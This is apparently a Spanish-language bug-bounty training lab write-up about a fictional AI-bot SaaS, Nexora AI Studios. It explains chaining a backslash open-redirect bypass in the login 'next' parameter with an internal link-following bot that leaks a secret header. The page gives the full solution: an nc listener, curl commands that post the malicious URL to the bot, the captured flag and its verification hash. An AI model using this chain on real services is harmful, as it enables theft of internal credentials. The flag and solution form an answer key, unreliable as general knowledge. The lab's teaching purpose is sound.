Nexora AI Studios es un SaaS de bots de IA (marketplace estilo Poe.com) cuya consola pública valida con lista negra el parámetro `next` del login. Un detalle ortográfico en la lista (no contempla la barra invertida) deja escapar URLs externas tras la normalización WHATWG del navegador, y el bot interno *Admin Assistant* — que sigue links pegados en su chat desde dentro del service mesh — arrastra un header secreto en cada hop. Encadenar los dos defectos hace que el bot entregue el header privilegiado a un listener controlado por el atacante.
This bug paid $300 on YesWeHack.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Solve this lab to unlock this shareable achievement
Nexora AI Studios es una startup que ofrece una consola SaaS para crear, alojar y conversar con bots de IA. Su producto, Nexora Console, te recuerda a Poe.com o al GPT Store: tras login aterrizas en un dashboard con seis bots — Image Wizard, Code Sensei, Translator Pro, Email Composer, Data Analyst y Admin Assistant —, cada uno con su intro, sus capacidades y un chat individual. Cinco están pensados para usuarios finales; el sexto, Admin Assistant, es el bot que el propio equipo de operaciones usa internamente para "depurar links y previews desde la infraestructura de Nexora".
Has sido contratado como pentester externo. El alcance que te ha dado el cliente cubre toda la consola pública (http://localhost:1401), incluyendo registro, login, dashboard, chats, perfil, settings y billing. No tienes credenciales internas ni acceso al code base — solo una cuenta de prueba (attacker@nexora.ai / password123) y el portal expuesto. El equipo de Nexora insiste en que su validación de redirects post-login está endurecida con una lista negra mantenida por ellos mismos: están convencidos de que no se puede abusar.
La consola se ve pulida: animaciones, gradientes, typing indicators en los chats, historial de facturas en billing, tabs cosméticas en settings. La superficie es deliberadamente acotada — no hay endpoints "preview", ni shorteners, ni admin panel expuesto, ni webhooks. Tu cliente quiere saber si la consola, tal cual está, se puede pivotar para sacar algo que sólo vive dentro del service mesh: un header firmado, llamado X-ULTRA-SECRET-TOKEN, que las máquinas internas de Nexora se intercambian entre sí.
Tu trabajo es demostrar que sí, que se puede. Y dejar capturado el valor del header como prueba.
La cadena tiene cuatro capas. Cada una es un paso pequeño; la dificultad está en encontrar la conexión entre ellas, no en cada salto individual.
Capa 1 — Descubrimiento del parámetro de redirect. El formulario de login (/login) acepta un query param ?next=/dashboard (default) y un alias legacy ?redirect_url=… que no aparece en la UI pero que el backend reconoce. Si tu cliente HTTP envía Accept: text/html, el backend responde con 302 Location: <next>; si envía Accept: application/json, devuelve { user, next } en el cuerpo y el frontend hace navigate(next) en cliente.
Capa 2 — La validación es una lista negra, no una allowlist. Hay una función isSafeRedirect() que rechaza todo lo que no empiece por /, todo lo que empiece por //, y los prefijos /javascript:, /data:, /vbscript:. Como buena lista negra, deja huecos: no contempla otros separadores que el parser de URLs del navegador (y de axios cuando sigue redirects) considera equivalentes al slash. La especificación WHATWG (§4.4 path-state) trata uno de esos caracteres exactamente igual que un slash dentro de un esquema con autoridad (http://, https://). La validación, que usa comparación literal sobre el string, no lo ve.
Capa 3 — Validación en local con tu navegador. Construyes una URL de bypass, te logueas con la cuenta demo, y compruebas en tu propio Chrome/Firefox que efectivamente acabas en un dominio externo. Es un open redirect "limpio" — útil para phishing en un programa real, pero aquí no te da la flag: tu navegador no es quien lleva el secreto. La flag vive en un header que sólo emite tráfico interno de Nexora.
Capa 4 — El bot Admin Assistant arrastra el header. En el dashboard, Admin Assistant anuncia que "ayuda al equipo de operaciones a depurar links y previews desde dentro de la infraestructura". Cuando pegas una URL en su chat, un proceso de servidor (axios, polling cada 4 s) la lee, valida que el host esté en una allowlist same-origin (localhost:1401, 127.0.0.1:1401, host.docker.internal:1401, nexora.ai, nexora) y hace un GET con tres headers: Authorization: Bearer <admin_jwt>, User-Agent: Nexora-AdminBot/1.4 y X-ULTRA-SECRET-TOKEN: FLAG{…}. El bot maneja redirects manualmente (maxRedirects: 0, hasta 3 hops): si recibe un 3xx, lee Location, lo resuelve como URL absoluta contra la URL actual (aquí es donde WHATWG hace su magia con el separador), reescribe loopback (localhost → host.docker.internal) para poder hablar con la red del host, y emite el siguiente hop con los mismos headers, incluido el secreto.
Encadenando: pegas en el chat una URL del propio Nexora (pasa la allowlist) cuyo next esté preparado con el carácter de bypass para apuntar a tu listener externo. El bot navega Nexora → recibe 302 → resuelve el Location como URL absoluta a tu listener → emite el siguiente hop hacia ti → tu nc (o python -m http.server) recibe la request entrante y ve el header.
# Terminal 1 — listener en el host
nc -lp 9999
# Terminal 2 — login del atacante (cookie almacenada en cookies.txt)
curl -i -c cookies.txt -X POST http://localhost:1401/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@nexora.ai","password":"password123"}'
# Terminal 2 — mensaje al chat de Admin Assistant con la URL maliciosa
curl -b cookies.txt -X POST http://localhost:1401/api/chat/admin-assistant/messages \
-H 'Content-Type: application/json' \
-d '{"body":"http://localhost:1401/login?next=/\\127.0.0.1:9999"}'
# Esperar ~4-8s (un ciclo del bot). En Terminal 1 aparece la petición entrante con:
# X-ULTRA-SECRET-TOKEN: FLAG{1158491d6fb05abc8933c6207e131e83}
Reescritura WHATWG: el backend responde 302 Location: /\127.0.0.1:9999. El bot resuelve new URL('/\\127.0.0.1:9999', 'http://localhost:1401/login?...') → http://127.0.0.1:9999/ (porque \ se trata como / después del scheme con autoridad). El bot reescribe loopback → http://host.docker.internal:9999/ y emite ese GET con los headers internos.
La flag está embebida en el header X-ULTRA-SECRET-TOKEN que el bot envía en cada hop. Su valor se computa de forma determinística al boot del contenedor.
FLAG{1158491d6fb05abc8933c6207e131e83}
Verifica:
echo -n 'nexora::open_redirect::backslash::admin_assistant' | md5sum
# 1158491d6fb05abc8933c6207e131e83
O directamente con el script del repo:
bash flag/verify.sh
\ no contemplado en redirect_url tras OAuth. Bounty: 750 USD.\ se trata como solidus dentro de schemes con autoridad. https://url.spec.whatwg.org/#path-statenet/url, Python urllib).Reproduce it and find the bug yourself